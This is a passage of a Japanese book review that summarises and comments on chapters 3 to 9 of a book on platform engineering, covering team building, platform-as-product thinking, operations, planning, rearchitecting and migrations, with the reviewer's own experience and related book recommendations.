Modelです。このフレームワークは、組織の成熟度を評価し、次のステップを計画する際の指針となります。tag-app-delivery.cncf.ioアドホック段階では、シンプルな自動化と基本的なプロセスの確立に焦点を当てることが推奨されています。著者は、この段階で重要なのはソースコントロール、自動化された継続的デプロイメント、そして軽量なプロセスの3つの要素だと強調しています。これは私の経験とも一致しており、特に小規模チームにおいては、過度に複雑なプロセスや高度な技術スタックを避け、シンプルさを保つことが重要です。やや管理された段階では、チームの成長に伴い、より構造化されたアプローチが必要となります。著者はローカル開発環境の自動化、ステージング環境の整備、観測可能性の向上などの要素を重視しています。この段階での重要な洞察は、技術選択の社会化と意思決定プロセスの確立の必要性です。チームトポロジー 価値あるソフトウェアをすばやく届ける適応型組織設計作者:マシュー・スケルトン,マニュエル・パイス日本能率協会マネジメントセンターAmazon協力を代替するプラットフォームチームの創設組織の成長に伴い、アドホックな協力体制から正式なプラットフォームチームへの移行が必要となります。著者は、この移行のタイミングとしてダンバー数(50-250人)を参考指標として挙げています。これは、組織内の協力関係が自然に維持できる限界を示す重要な指標です。この移行のプロセスについては、DevOps Topologiesが有用な参考資料となります。web.devopstopologies.com著者は、プラットフォームチームの設立において、所有権の中央集権化がもたらす利点とコストのバランスを慎重に検討する必要性を強調しています。特に注目すべきは、新しい技術やアーキテクチャではなく、問題解決に焦点を当てるという原則です。これは、プラットフォームチームが陥りがちな、技術的な理想主義による過度な複雑化を避けるための重要な指針となります。internaldeveloperplatform.org伝統的なインフラストラクチャ組織の変革既存のインフラストラクチャ組織をプラットフォームエンジニアリング組織へと変革する過程について、著者は包括的なガイダンスを提供しています。特に重要なのは、エンジニアリング文化全体の変革の必要性です。従来のコスト管理やベンダー交渉中心の文化から、ユーザー中心の製品開発文化への転換が求められます。この変革プロセスを支援するフレームワークとして、Thoughtworks Technology Radarが有用です。www.thoughtworks.com特に重要なのは、エンジニアリング文化全体の変革の必要性です。従来のコスト管理やベンダー交渉中心の文化から、ユーザー中心の製品開発文化への転換が求められます。 本を紹介します。伝統的な組織からプロダクト中心の組織への移行について詳しく解説しています。PROJECT TO PRODUCT フローフレームワークでデジタルディスラプション時代に成功する方法作者:MIK KERSTENパレードAmazon変革のプロセスにおいて、著者は段階的なアプローチの重要性を強調しています。最も有望な領域から始め、成功事例を積み重ねていくことで、組織全体の変革を推進することが推奨されています。また、プロダクトマネージャーの役割についても現実的な視点が示されており、単にプロダクトマネージャーを採用するだけでは不十分で、エンジニアリングチームの協力が不可欠であることが指摘されています。「変化を嫌う人」を動かす:魅力的な提案が受け入れられない4つの理由作者:ロレン・ノードグレン,デイヴィッド・ションタル,船木 謙一(監修)草思社Amazon章全体からの学び第3章は、プラットフォームエンジニアリングの導入と発展に関する実践的なガイドを提供しています。とりわけ重要なのは、組織の規模や成熟度に応じて適切なアプローチを選択する必要性です。私自身も組織のプラットフォームエンジニアリングを主導している立場から、小規模スタートアップでは軽量なプロセスと基本的な自動化から始め、成長に伴って段階的に発展させていく著者の提案に強く共感します。特に印象的なのは、著者がプラットフォームエンジニアリングを単なる技術的な取り組みではなく、組織文化の変革として捉えている点です。これは私の実務経験とも一致しており、多くの組織が陥りがちな技術偏重のアプローチを避けるための重要な示唆となっています。例えば、私のチームでは新しい技術の導入よりも、まず既存の問題解決と開発者体験の向上に焦点を当てることで、より持続可能な変革を実現できています。また、チーム編成に関する著者の洞察も非常に実践的です。特に、大企業出身のエンジニアの採用に関する警告は、私自身の経験からも非常に的確だと感じています。優れた技術力を持っていても、規模の異なる組織での経験をそのまま適用しようとする傾向は、しばしば新たな問題を引き起こす原因となりうるからです。この章の知見は、今後のプラットフォームエンジニアリングの実践において重要な指針となるでしょう。組織の成熟度に応じた段階的なアプローチ、ユーザー中心の文化醸成、そして適切なチーム構築は、成功への鍵となる要素です。私たちプラットフォームエンジニアリングリーダーは、これらの知見を活かしながら、各組織の状況に適した変革を推進していく必要があります。Chapter 4. Building Great Platform Teams第4章「Building Great Platform Teams」は、プラットフォームエンジニアリングチームの構築と育成に焦点を当てています。この章では、効果的なプラットフォームチームの構築に必要な多様な役割と、それらの役割間のバランスの取り方について、実践的な知見が提供されています。特に、ソフトウェアエンジニアとシステムエンジニアの異なる視点をどのように融合させ、顧客中心のプラットフォームを構築するかという課題に深く切り込んでいます。シングルフォーカスチームの課題単一の視点に偏ったチーム構成は、長期的に見て大きな課題を生み出します。システムエンジニアに偏重したチームは運用面では優れているものの、プラットフォームの抽象化や設計面で課題を抱えがちです。一方、ソフトウェアエンジニアに偏重したチームは新機能の開発には長けていますが、運用安定性や既存システムの改善に対する意識が低くなりがちです。私の経験からも、この両極端な状況を目にすることが多々あります。過去のプロジェクトでは、システムエンジニアの視点が強すぎるあまり、新機能開発に対して過度に慎重になり、結果として顧客ニーズへの対応が遅れるという課題がありました。一方で、開発速度を重視するあまり、運用の視点が欠如し、本番環境での深刻な問題を引き起こすケースも見てきました。Figure 4-1. Breaking down the major engineering roles in a platform engineering team より引用[Figure 4-1]で示されているように、プラットフォームエンジニアリングチームにおける主要なエンジニアリング役割の分類は、このバランスの重要性を明確に表しています。プラットフォームエンジニアの多様な役割プラットフォームエンジニアリングチームにおける主要な役割について、著者は4つの異なる専門性を持つエンジニアの重要性を強調しています。Software Engineerはソフトウェア開発に特化しながらもシステムへの深い理解と運用への関心を持ち、ビジネスクリティカルなシステムのオンコール対応ができ、慎重なペースでの開発に納得できる人材です。Systems EngineerはDevOpsエンジニアやSREに近い立場ながら、より広範な視点を持ち、インフラストラクチャの統合からプラットフォームのコードベースに関わる深いシステムの問題解決まで、幅広い業務を担当します。Reliability Engineerは信頼性に特化し、インシデント管理、SLOのコンサルティング、カオスエンジニアリング、ゲームデイの実施など、システム全体の信頼性向上に注力します。そしてSystems Specialistは、ネットワーキング、カーネル、パフォーマンス、ストレージなど、特定の技術領域に深い専門性を持つエンジニアですが、著者はこの役割については組織の規模と必要性が明確になってから採用することを推奨しています。特に印象的なのは、各役割の採用と評価についての具体的なアドバイスです。例えば、システムエンジニアの採用において、コーディング面接の柔軟な運用を提案しています。私のチームでもこのアプローチを採用し、結果として運用経験が豊富で、かつ適度なコーディングスキルを持つエンジニアの採用に成功しています。また、クラウドネイティブプラットフォームの構築において、これら4つの役割が相互に補完し合い、それぞれの専門性を活かしながら協働することで、より堅牢なプラットフォームの実現が可能になることを日々の実務で実感しています。プラットフォームエンジニアリングマネージャーの重要性プラットフォームエンジニアリングマネージャーには、プラットフォームの運用経験、長期プロジェクトの経験、そして細部への注意力が不可欠です。私の経験上、特に運用経験の重要性は強調してもしすぎることはありません。複雑なシステムの運用経験がないマネージャーが、技術的な課題の深刻さを過小評価し、結果として重大なサービス障害を引き起こすケースを何度も目にしてきました。プロダクトマネジメントのすべて 事業戦略・IT開発・UXデザイン・マーケティングからチーム・組織運営まで作者:及川 卓也,小城 久美子,曽根原 春樹翔泳社Amazonチーム文化の構築と維持チーム文化の構築は、技術的な課題と同じくらい重要です。著者が示す開発チームとSREチームの統合事例は、私自身のチーム統合経験とも共鳴する部分が多くあります。特に、異なる文化を持つチームを統合する際の段階的なアプローチは、非常に実践的です。私のチームでは、定期的な技術共有セッションとクロスファンクショナルなプロジェクト編成を通じて、異なる背景を持つエンジニア間の相互理解を促進しています。これにより、「システムチーム」vs「開発チーム」という対立構造を避け、より協調的な文化を醸成することができています。章全体からの学びプラットフォームエンジニアリングチームの成功には、技術的なスキルと組織文化の両面でのバランスが不可欠です。著者の提案する4つの役割分類と、それぞれの役割に対する適切な評価・育成方法は、実践的で価値のある指針となっています。特に重要なのは顧客エンパシーです。これは単なるスキルではなく、チーム全体の文化として根付かせる必要があります。プラットフォームエンジニアリングチームが提供する価値は、単なる技術的な解決策ではなく、顧客の課題を深く理解し、それに対する適切な解決策を提供することにあるからです。今後のプラットフォームエンジニアリングには、技術の進化に加えて、組織のデジタルトランスフォーメーションへの対応も求められます。この章で学んだチーム構築の原則は、そうした変化に対応する上で重要な指針となるでしょう。個人的な経験からも、技術と人、そして文化のバランスを取ることが、持続可能なプラットフォーム組織の構築には不可欠だと確信しています。Chapter 5. Platform as a Product第5章「Platform as a Product」は、プラットフォームエンジニアリングにおいて、プラットフォームを製品として捉えるアプローチの重要性と実践方法について深く掘り下げています。著者は、組織内プラットフォームの構築において、プロダクト思考を採用することの意義と、その実現に向けた具体的な戦略を提示しています。顧客中心のプロダクトカルチャーの確立著者は、内部顧客の特性として、小規模な顧客基盤、囚われの観客、利害の対立、顧客満足度の変動、そして時として競合者となり得る顧客の存在を挙げています。私の経験でも、特に囚われの観客という特性は重要で、単にプラットフォームの使用を強制するのではなく、真に価値のある製品として受け入れられる必要があります。著者が提唱する「顧客エンパシー」の文化は、面接プロセスからの組み込み、顧客中心の目標設定、ユーザーフィードバックの定期的な収集など、具体的な施策を通じて醸成されます。私のチームでも、エンジニアのサポート輪番制を導入し、顧客の課題を直接理解する機会を設けることで、より顧客志向の製品開発が実現できています。プロダクトディスカバリーとマーケット分析新しいプラットフォーム製品の発見と検証について、著者は他チームが構築した成功事例を基に広範な用途に適用可能な製品として発展させること、特定のチームと協力して具体的な課題解決から始めて一般化可能な製品を作り出すこと、そして導入障壁が低く明確な価値提案を持つ製品から着手することという三つのアプローチを提示しています。プロダクトロードマップの重要性著者は、プロダクトロードマップの構築において、プラットフォームが目指す理想的な状態を示す長期的なビジョン、ビジョン実現のための具体的なアプローチを示す中期的な戦略、定量的な成功指標となる年間目標とメトリクス、そして具体的な実装計画となる四半期ごとのマイルストーンという段階的なアプローチを提案しています。この考え方は、「プロダクトマネージャーのしごと 第2版」でも強調されており、同書ではプロダクトマネージャーの重要な役割として、ビジョンとロードマップの策定、顧客ニーズの深い理解、データ駆動の意思決定、そしてステークホルダーとの効果的なコミュニケーションを挙げています。特に、プロダクトロードマップは単なる実装計画ではなく、製品の戦略的な方向性を示す重要なツールとして位置づけられています。プロダクトマネージャーのしごと 第2版 ―1日目から使える実践ガイド作者:Matt LeMayオーム社Amazon失敗のパターンと対策著者は主要な失敗パターンとして、移行コストの過小評価、ユーザーの変更予算の過大評価、安定性が低い状況での新機能価値の過大評価、そしてエンジニアリングチームの規模に対する製品マネージャーの過剰な配置を指摘しています。私の経験からも、特に移行コストの過小評価は深刻な問題となりがちで、新機能の魅力に目を奪われ、既存システムからの移行に伴う実務的な課題を軽視してしまうケースを何度も目にしてきました。章全体からの学びプラットフォームを製品として扱うアプローチの成功には、文化、製品市場適合性、実行の3つの要素が不可欠です。著者が強調するように、単なる技術的な優位性ではなく、顧客価値の創出と組織全体への影響を考慮した包括的なアプローチが求められます。プラットフォームエンジニアリングリーダーとして、この章から学んだ最も重要な教訓は、技術的な卓越性と顧客価値のバランスを取ることの重要性です。プラットフォームは技術的に優れているだけでなく、実際のユーザーにとって価値のある、使いやすい製品でなければなりません。また、私はプロダクトマネジメントについて学んできてなかったので主張としてなんとなくしか理解できない事柄もいくつかあった。Chapter 6. Operating Platforms第6章「Operating Platforms」は、プラットフォームエンジニアリングにおける運用の本質と、その実践的なアプローチについて深く掘り下げています。この章では、プラットフォームの運用が単なる技術的な課題ではなく、組織全体の成功に直結する戦略的な要素であることを強調しています。著者は、「レアなことは規模が大きくなると一般的になる」という Jason Cohen の言葉を引用しながら、プラットフォームの規模拡大に伴う運用上の課題とその対処方法について詳細に論じています。【改訂新版】システム障害対応の教科書作者:木村 誠明技術評論社Amazonオンコール体制の重要性と実践著者は、オンコール体制について非常に現実的な視点を提供しています。特に印象的だったのは、24x7のオンコール体制の必要性についての議論です。私自身、過去に「重要ではない」と思われる開発者ツールのプラットフォームでさえ、予想外のタイミングで重要になる経験をしてきました。例えば、深夜のクリティカルなバグ修正時にデプロイメントプラットフォームが機能しないという状況は、まさに著者が指摘する通りの事例です。著者が提案する「週に5件以下のビジネスインパクトのある問題」という基準は、理想的ではありますが、現実的な目標として受け入れられます。これは私の経験とも一致しており、このレベルを超えると組織の持続可能性が急速に低下することを実感してきました。特に、この数字を超えると、チームのバーンアウトや離職率の上昇といった深刻な問題につながることを、実際のプロジェクトで何度も目の当たりにしてきました。また、マージされたDevOpsアプローチの重要性について、著者は説得力のある議論を展開しています。プラットフォームチームの規模が限られている場合、開発とオペレーションを分離することは現実的ではないという指摘は、多くの組織にとって重要な示唆となります。私の経験では、小規模なプラットフォームチームでDevとOpsを分離しようとした結果、コミュニケーションの断絶や責任の所在の不明確化といった問題が発生したケースを数多く見てきました。サポート実践の段階的アプローチサポート体制については、著者が提案する4段階のアプローチが非常に実践的です。特に、サポートレベルの形式化から始まり、最終的にはエンジニアリングサポート組織(ESO)の確立に至るまでの発展プロセスは、多くの組織が参考にできるモデルとなっています。第1段階のサポートレベルの形式化では、支援要請の分類と対応の優先順位付けが重要です。私のチームでも、この分類作業を通じて、実際には多くの問題が共通のパターンを持っていることが分かり、効率的な対応方法を確立することができました。第2段階のクリティカルでないサポートのオンコールからの分離は、チームの持続可能性を確保する上で重要なステップです。私の経験では、この分離を実施することで、開発者が本来の開発業務に集中できる時間が増え、結果としてプラットフォームの品質向上にもつながりました。第3段階のサポートスペシャリストの採用については、著者が指摘する「ユニコーン」の必要性に強く共感します。T1とT2の両方をこなせる人材を見つけることは確かに難しいですが、非伝統的な背景を持つ人材の育成という提案は、現実的かつ効果的なアプローチだと考えています。最後の第4段階である大規模なエンジニアリングサポート組織の確立については、著者が提供するFAANG企業での実例が非常に参考になります。特に、アプリケーションの階層化とそれに応じたSLAの設定、顧客のオンコール要件、システムエンジニアの採用といった具体的な施策は、大規模組織での運用の複雑さと、その解決策を理解する上で重要な示唆を提供しています。運用フィードバックの実践運用フィードバックの実践については、著者がSLO、SLA、エラーバジェットについて興味深い見解を示しています。特に、エラーバジェットが必ずしも万能な解決策ではないという指摘は、現実の組織運営において非常に重要な視点です。私の経験では、エラーバジェットの導入が却ってチーム間の対立を生む結果となったケースもありました。著者が提案する合成モニタリングの重要性は、現代のプラットフォーム運用において極めて重要です。開発時間の25%、リソースコストの10%という投資推奨は、一見高額に感じるかもしれませんが、問題の早期発見と対応によって得られる価値を考えると、十分に正当化できる投資だと考えています。私のチームでも、合成モニタリングの導入により、ユーザーからの報告前に問題を検知し、対応できるケースが大幅に増加しました。変更管理の現実的アプローチ変更管理に関する著者の見解は、現代のDevOps実践との関連で特に興味深いものでした。完全な自動化を目指しつつも、その過程での適切な変更管理の重要性を説いている点は、多くのプラットフォームチームにとって重要な示唆となります。著者が指摘する通り、プラットフォームの変更は複雑で状態を持つことが多く、単純なCI/CDの適用が難しい場合が多いです。私の経験でも、キャッシュクリアやデータベースマイグレーションなど、慎重な制御が必要な操作が多く存在し、これらの管理には明確なプロセスと慎重なアプローチが必要でした。運用レビューの実践運用レビューについての議論は、特にリーダーシップの観点から重要です。チームレベルでのシンプルかつ厳格なレビュー、そして組織レベルでの本質的なレビューの必要性は、プラットフォーム運用の成功に不可欠な要素として描かれています。私の経験では、週次の運用レビューを通じて、潜在的な問題を早期に発見し、対応することができました。特に、ページング頻度、サポートチケットの傾向、インシデントの根本原因分析などを定期的にレビューすることで、システムの健全性を維持し、改善の機会を見出すことができました。また、著者が強調するリーダーシップの関与の重要性は、非常に重要な指摘です。運用レビューに経営層が積極的に参加することで、運用上の課題が適切に理解され、必要なリソースの確保や優先順位付けがスムーズに行われるようになった経験があります。章全体からの学びこの章は、プラットフォーム運用の複雑さと、それを成功に導くための実践的なアプローチを包括的に示しています。特に、運用の規律がプラットフォームの成功にとって不可欠であることを強調している点は、現代のソフトウェア開発環境において極めて重要な示唆となっています。読者として強く感じたのは、プラットフォーム運用が単なる技術的な課題ではなく、組織的な取り組みとして捉える必要があるという点です。特に、チームの持続可能性とユーザー満足度の両立という観点から、著者の提案する実践的なアプローチは非常に価値があります。この章で提示されている運用プラクティスは、理想的ではありますが現実的な目標として設定されており、段階的な改善のためのロードマップとしても機能します。私自身、これらのプラクティスの多くを実践してきましたが、特に重要なのは、組織の規模や成熟度に応じて適切なアプローチを選択し、継続的に改善を進めていく姿勢だと考えています。最後に、この章の内容は、プラットフォームエンジニアリングリーダーが直面する現実的な課題と、その解決のための具体的なアプローチを提供しており、現代のソフトウェア開発組織にとって重要な指針となっています。特に、運用の持続可能性とビジネス価値の創出のバランスを取りながら、組織を成長させていくための実践的な知見は、非常に価値のあるものだと言えます。Chapter 7. Planning and Delivery第7章「Planning and Delivery」は、プラットフォームエンジニアリングにおける計画立案と実行の重要性について深く掘り下げています。この章では、長期的なプロジェクトの計画から日々の実行管理、そして成果の可視化に至るまで、プラットフォームチームのリーダーが直面する実践的な課題と、その解決のためのアプローチについて詳細に解説しています。BIG THINGS どデカいことを成し遂げたヤツらはなにをしたのか?作者:ベント・フリウビヤ,ダン・ガードナーサンマーク出版Amazon長期プロジェクトの計画立案プラットフォームエンジニアリングの特徴的な側面の一つは、長期的なプロジェクトの存在です。私の経験でも、新しいインフラストラクチャの構築や大規模なマイグレーションプロジェクトは、しばしば数ヶ月から数年の期間を要します。著者が提案するプロポーザルドキュメントの作成から実行計画への移行というアプローチは、このような長期プロジェクトを成功に導くための実践的な方法論として非常に重要です。特に印象的だったのは、プロジェクトの目的と要件をプロポーザルドキュメントで明確化する部分です。私自身、過去に大規模なマイグレーションプロジェクトをリードした際、初期段階でのプロポーザルドキュメントの重要性を痛感しました。背景、テネット、ガイドライン、問題の詳細、解決策の概要、実行計画という構造化されたアプローチは、関係者間の合意形成と期待値の調整に非常に効果的でした。ボトムアップなロードマップ計画著者が提案するボトムアップなロードマップ計画は、プラットフォームチームが直面する現実的な課題に対する実践的な解決策を提供しています。特に、KTLO(Keep the Lights On)作業、マンデート、システム改善という3つの主要な作業カテゴリの区分は、リソース配分と優先順位付けの明確な枠組みを提供します。私のチームでも、KTLOワークの見積もりから始めて、段階的にプランニングの精度を上げていく手法を採用しています。特に、全体の40%をKTLOに、残りを70/20/10の比率で新機能開発、アーキテクチャ改善、イノベーションに配分するというガイドラインは、バランスの取れたリソース配分の指針として有用でした。戦略の要諦 (日本経済新聞出版)作者:リチャード・P・ルメルト日経BPAmazon隔週での成果と課題の共有著者が提案する「Wins and Challenges」という取り組みは、プラットフォームチームの成果を可視化し、組織全体との信頼関係を構築するための効果的な方法です。私のチームでも、この手法を導入してから、ステークホルダーとのコミュニケーションが大幅に改善されました。特に重要なのは、チャレンジを適切に共有することの価値です。私の経験では、問題を隠すのではなく、適切に共有し、解決に向けた支援を得られる関係性を構築することが、長期的な信頼関係の構築に不可欠でした。このような定期的な成果共有の重要性は、「SREsのためのSRE定着ガイド」でも定点観測会として紹介されており、インフラストラクチャーの価値を他のチームに継続的に伝えていく機会として非常に有効です。 speakerdeck.comプロジェクト管理の実践的アプローチ著者が警告する「長期的な停滞」に陥るリスクは、多くのプラットフォームチームにとって現実的な課題です。私も過去に、過度に野心的な目標設定や不明確な問題設定により、プロジェクトが停滞する経験をしました。これを避けるために、プロジェクトの範囲を適切に設定し、段階的な価値提供を重視するアプローチを採用しています。章全体からの学びこの章で提示されている計画立案と実行管理のフレームワークは、プラットフォームエンジニアリングの成功に不可欠な要素を網羅しています。特に、長期的なビジョンと短期的な成果のバランス、透明性の高いコミュニケーション、そして継続的な価値提供の重要性は、現代のプラットフォームエンジニアリングにおいて極めて重要です。私の経験からも、これらの実践は組織の規模や成熟度に関わらず、適用可能で効果的なアプローチだと確信しています。ただし、各組織の状況に応じて適切にカスタマイズすることが重要です。特に、チームの規模が小さい段階では、過度に形式的なプロセスを避け、エッセンシャルな実践に焦点を当てることを推奨します。この章の内容は、プラットフォームエンジニアリングチームが直面する計画立案と実行管理の課題に対する実践的なガイドとして、非常に価値のあるものだと評価しています。Chapter 8. Rearchitecting Platforms第8章「Rearchitecting Platforms」は、プラットフォームの再アーキテクチャリングという重要なテーマについて、その必要性、アプローチ、実践方法を包括的に解説しています。著者は、プラットフォームの進化が不可避であるという現実を踏まえ、どのようにして既存のシステムを運用しながら進化させていくかという実践的な知見を提供しています。特に印象的なのは、冒頭のRandy Schoupによる「If you don\'t end up regretting your early technology decisions, you probably overengineered.」(初期の技術選定を後悔しないのであれば、おそらく過剰設計だった)という引用です。この言葉は、プラットフォームエンジニアリングにおける現実的なアプローチの重要性を端的に表現しています。進化的アーキテクチャ ―絶え間ない変化を支える作者:Neal Ford,Rebecca Parsons,Patrick KuaオライリージャパンAmazonまた、日本の伊勢神宮で実践される式年遷宮のように、定期的にシステムを刷新しながら価値を維持・向上させていく「式年遷宮アーキテクチャ」の考え方も、この文脈で参考になる概念といえます。agnozingdays.hatenablog.comv2開発とリアーキテクチャリングの選択Figure 8-1. How a platform is successfully rearchitected over time より引用[Figure 8-1]は、プラットフォームの進化とリアーキテクチャリングの関係を時系列で示した重要な図です。この図は、プラットフォームが「Scrappy Platform」から「Scalable Platform」を経て「Robust Platform」へと進化していく過程を表しています。著者は、新システムを一から作り直すv2アプローチと、既存システムを進化させるリアーキテクチャリングアプローチを比較し、後者を推奨しています。私自身の経験からも、v2アプローチの失敗を何度も目にしてきました。特に印象的だったのは、セカンドシステム効果による過剰な機能の盛り込みと、移行コストの過小評価という2つの典型的な失敗パターンです。たとえば、あるプロジェクトでは、既存システムの問題点を全て解決しようとするあまり、新システムの設計が複雑化し、開発期間が当初の見積もりの3倍以上に膨れ上がってしまいました。結果として、ビジネスニーズの変化に追いつけず、プロジェクトは中止を余儀なくされました。著者が提案する3つの異なるエンジニアリングマインドセット(パイオニア、セトラー、タウンプランナー)の分類は、非常に示唆に富んでいます。私のチームでも、このフレームワークを参考に、フェーズに応じた適切な人材配置を行うことで、より効果的なリアーキテクチャリングを実現できています。パイオニアマインドセットは、新しい可能性を探索し、革新的なソリューションを生み出すのに長けています。一方で、セトラーマインドセットは、実験的なアイデアを実用的なプロダクトへと昇華させる能力に優れています。そして、タウンプランナーマインドセットは、システムの効率化と産業化を得意としています。セキュリティアーキテクチャの重要性特に注目すべきは、セキュリティをアーキテクチャレベルで考える必要性についての指摘です。著者は、プラットフォームのセキュリティは後付けではなく、設計段階から組み込まれるべきだと主張しています。これは、私が過去に経験した大規模なセキュリティインシデントからも、極めて重要な教訓だと感じています。例えば、あるプロジェクトでは、セキュリティを後付けで考えたために、重要なアーキテクチャ上の変更が必要となり、多大なコストと時間を要しました。特に、マルチテナント環境におけるデータの分離や、認証・認可の仕組みは、後からの変更が極めて困難でした。「サイバー犯罪を完全に防ぐことはできないが、システムをよりスマートに設計することで被害を最小限に抑えることは可能」という著者の指摘は、現代のセキュリティアプローチの本質を突いています。特に重要なのは、以下の実践的なアプローチです:標準化された認証・認可の仕組みの提供セキュアなデフォルト設定の重要性アクセス制御の宣言的な定義テナント分離アーキテクチャの採用ガードレールの設計と実装リアーキテクチャリングの実践において、著者はガードレールの重要性を強調しています。これは、変更を安全に実施するための枠組みとして機能します。特に、以下の4つの側面からのアプローチが重要です:後方互換性の維持: APIの互換性を保ち、既存のクライアントへの影響を最小限に抑える包括的なテスト戦略: 単体テストから統合テスト、合成モニタリングまでの総合的なアプローチ環境管理の重要性: 開発、テスト、本番環境の適切な分離と管理段階的なロールアウト: カナリアリリースやトランチ方式による慎重なデプロイメント私の経験では、特に後方互換性の維持が重要です。一度失った顧客の信頼を取り戻すのは極めて困難であり、互換性の破壊は避けるべき最大のリスクの一つです。たとえば、あるプロジェクトでは、APIの下位互換性を破壊する変更を行ったことで、顧客のシステムに深刻な影響を与え、その修復に数ヶ月を要しました。リアーキテクチャリングの計画立案著者が提案する4段階の計画立案プロセスは、実践的で効果的なアプローチです:最終目標の設定: 3-5年の長期的なビジョンを明確にする移行コストの見積もり: 現実的なコストと時間の評価12ヶ月での主要な成果の設定: 短期的な価値提供の確保リーダーシップの支持獲得: 組織的なサポートの確保特に印象的なのは、12ヶ月での具体的な成果達成を重視している点です。私のチームでも、長期的なビジョンと短期的な成果のバランスを取ることで、ステークホルダーの信頼を維持しながら、大規模なリアーキテクチャリングを成功させることができました。具体的には、以下のような3つの目標設定が効果的でした:大きな価値を生む野心的な目標: ビジネスにインパクトのある変革より小規模だが確実な価値提供: 現実的な改善の実現技術的な基盤の確立: 新アーキテクチャの実運用開始章全体からの学びこの章から学んだ最も重要な教訓は、リアーキテクチャリングは技術的な課題である以上に、組織的な取り組みであるという点です。技術的な優位性だけでなく、ビジネス価値の創出と組織の継続的な発展を両立させる必要があります。私の経験からも、リアーキテクチャリングの成功には、技術的な卓越性、組織的な支援、そして段階的な実行アプローチが不可欠です。特に、早期の価値提供と段階的な移行を重視することで、リスクを最小限に抑えながら、必要な変革を実現することができます。また、著者が警告する新入社員主導のリアーキテクチャリングの危険性も重要な指摘です。過去の経験や他社での成功体験に基づく性急な変更は、往々にして組織の文化や既存システムの複雑さを考慮できず、失敗に終わることが多いです。最後に、この章は現代のプラットフォームエンジニアリングが直面する重要な課題に対する実践的なガイドを提供しており、多くのプラットフォームリーダーにとって貴重な参考資料となるでしょう。特に、継続的な進化の必要性と実践的なアプローチの重要性は、今後のプラットフォーム戦略を考える上で極めて重要な示唆を提供しています。Chapter 9. Migrations and Sunsetting of Platforms第9章「Migrations and Sunsetting of Platforms」は、プラットフォームエンジニアリングにおける最も困難な課題の一つである、マイグレーションとプラットフォームのサンセットについて詳細に解説しています。著者は、C. Scott Andreasの「プラットフォームは、土台のように、その上に構築するための安定した表面を提供するべきものである」という言葉を引用しながら、変更を管理しつつ安定性を提供するというプラットフォームエンジニアリングの本質的な課題に切り込んでいます。cloud.google.comこちらも参考になるかと思います。learn.microsoft.comaws.amazon.comマイグレーションのアンチパターン著者が指摘するマイグレーションの主要なアンチパターンは、私の経験とも強く共鳴します。特に、コンテキストのない締め切り、曖昧な要件、不十分なテスト、そしてクリップボード持ちの説教者という4つのパターンは、多くのプラットフォームチームが陥りがちな罠です。私自身、ある大規模なマイグレーションプロジェクトで、経営陣から突然の期限を課された経験があります。その時の教訓は、マイグレーションは技術的な課題である以上に、コミュニケーションと計画の課題であるということでした。具体的には、チームメンバーや関係者との丁寧なコミュニケーション、段階的なマイグレーション計画の策定、そして明確な成功基準の設定が重要でした。また、曖昧な要件の問題は特に深刻です。「Product X version Y以前を使用している場合は...」といった通知を送っても、多くのユーザーはProduct Xが何を指すのかすら理解できていないことがあります。これは単なるコミュニケーションの問題ではなく、プラットフォームの可視性と理解可能性の問題でもあります。learning.oreilly.comより簡単なマイグレーションのためのエンジニアリング著者は、マイグレーションを容易にするための技術的なアプローチとして、製品抽象化、透過的なマイグレーション、メタデータ追跡、自動化の重要性を説いています。これらは、現代のクラウドネイティブ環境において特に重要です。私の経験では、グルーコードの最小化とバリエーションの制限が特に重要でした。あるプロジェクトでは、各チームが独自のグルーコードを持っていたために、システムの更新が極めて困難になっていました。この教訓を活かし、次のプロジェクトでは標準化されたインターフェースと限定的なカスタマイズオプションを提供することで、マイグレーションの複雑さを大幅に削減することができました。また、使用状況メタデータの追跡も極めて重要です。過去のプロジェクトで、依存関係の把握が不十分だったために、マイグレーション中に予期せぬ問題が発生し、スケジュールが大幅に遅延した経験があります。この経験から、プラットフォームの使用状況、依存関係、所有者情報を常に追跡するシステムを構築することが、効果的なマイグレーション管理の基盤となることを学びました。スムーズなマイグレーションの調整マイグレーションの成功には、早期のコミュニケーションと公開性が不可欠です。著者が提案する、12ヶ月以上先の期限に対する慎重なアプローチは、私の経験からも非常に賢明です。特に印象的なのは、最後の20%をプッシュするという考え方です。実際のプロジェクトでは、最初の80%は比較的スムーズに進むことが多いものの、残りの20%で予想外の課題に直面することがよくあります。この段階での成功には、古いシステムの適切な維持管理、予期せぬ技術的課題への柔軟な対応、そして責任の所在の明確化が重要です。私の経験では、この最後の20%で重要なのは、チームのモチベーション維持です。古いシステムの維持に割り当てられたチームメンバーが、キャリアの行き詰まりを感じて離職するケースも少なくありません。これを防ぐために、新旧システムの作業をバランスよく配分し、全員が新しい技術にも触れる機会を提供することが重要です。プラットフォームのサンセットプラットフォームのサンセットは、マイグレーション以上に難しい判断を必要とします。著者は、サンセットを検討すべき状況として、ユーザー数の少なさ、高いサポートコスト、他の優先事項への注力必要性という3つの条件を挙げています。私の経験では、特に構築者の抵抗が大きな課題となることがあります。開発者は自分たちが構築したシステムに愛着を持ちがちで、そのサンセットには強い感情的な抵抗を示すことがあります。あるプロジェクトでは, 新システムへの移行が技術的には可能であったにもかかわらず、開発チームの強い愛着により、不必要に長期間両方のシステムを維持することになりました。このような状況を避けるためには、客観的な評価基準と透明性の高い意思決定プロセスが重要です。具体的には、使用状況メトリクス、維持コスト、技術的負債の状況など、定量的なデータに基づく判断を行うことで、感情的な議論を避けることができます。また、サンセット計画の策定においては、段階的なアプローチが効果的です。まず使用制限を設けてから完全な廃止へと移行する方法や、特定の機能のみを段階的に廃止していく方法など、状況に応じた柔軟なアプローチを取ることが重要です。章全体からの学びこの章から得られる最も重要な教訓は、マイグレーションとサンセットは避けられない現実であり、それらを効果的に管理することがプラットフォームチームの価値を証明する機会となるということです。著者が述べているように、マイグレーションは「税金」のようなものかもしれませんが、それは避けられない更新のコストです。プラットフォームエンジニアリングの真価は、より良い自動化、コミュニケーション、実行を通じて、この変更のコストを組織全体で最小化できるという点にあります。私の経験からも、成功するマイグレーションには、技術的な準備、組織的なサポート、そして効果的なコミュニケーションが不可欠です。特に重要なのは、ユーザー体験を最優先し、できる限り多くの作業を事前に準備することです。さらに、マイグレーションやサンセットの経験は、将来のプラットフォーム設計にも活かすべき重要な学びとなります。特に、変更のしやすさを初期の設計段階から考慮することで、将来のマイグレーションコストを低減することができます。最後に、この章は、プラットフォームエンジニアリングにおけるマイグレーションとサンセットの重要性を再認識させ、その実践的なアプローチを提供する貴重な指針となっています。その教訓は、現代のクラウドネイティブ環境において、ますます重要性を増していくことでしょう。Chapter 10. Managing Stakeholder Relationships第10章「Managing 